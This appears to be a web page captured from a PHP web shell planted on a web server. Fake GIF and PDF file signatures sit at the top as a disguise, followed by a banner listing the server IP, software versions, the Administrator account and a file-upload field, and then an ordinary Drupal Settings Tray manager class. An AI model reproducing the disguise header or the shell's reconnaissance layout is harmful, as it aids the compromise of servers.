GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/outside_in/src/ |
Upload File : |
<?php namespace Drupal\outside_in; use Drupal\Core\Routing\AdminContext; use Drupal\Core\Routing\RouteMatchInterface; use Drupal\Core\Session\AccountInterface; /** * Manages information related to Settings Tray. */ class OutsideInManager implements OutsideInManagerInterface { /** * The admin context service. * * @var \Drupal\Core\Routing\AdminContext */ protected $adminContext; /** * The current route match. * * @var \Drupal\Core\Routing\RouteMatchInterface */ protected $routeMatch; /** * The current account. * * @var \Drupal\Core\Session\AccountInterface */ protected $account; /** * OutsideInManager constructor. * * @param \Drupal\Core\Routing\AdminContext $admin_context * The admin context service. * @param \Drupal\Core\Routing\RouteMatchInterface $route_match * The current route match. * @param \Drupal\Core\Session\AccountInterface $account * The current account. */ public function __construct(AdminContext $admin_context, RouteMatchInterface $route_match, AccountInterface $account) { $this->adminContext = $admin_context; $this->routeMatch = $route_match; $this->account = $account; } /** * {@inheritdoc} */ public function isApplicable() { // Remove on Admin routes. $is_admin_route = $this->adminContext->isAdminRoute(); // Remove on Block Demo page. $is_admin_demo_route = $this->routeMatch->getRouteName() === 'block.admin_demo'; // @todo Check if there is actually a different admin theme. // https://www.drupal.org/node/2784853 return $this->account->hasPermission('administer blocks') && !$is_admin_route && !$is_admin_demo_route; } }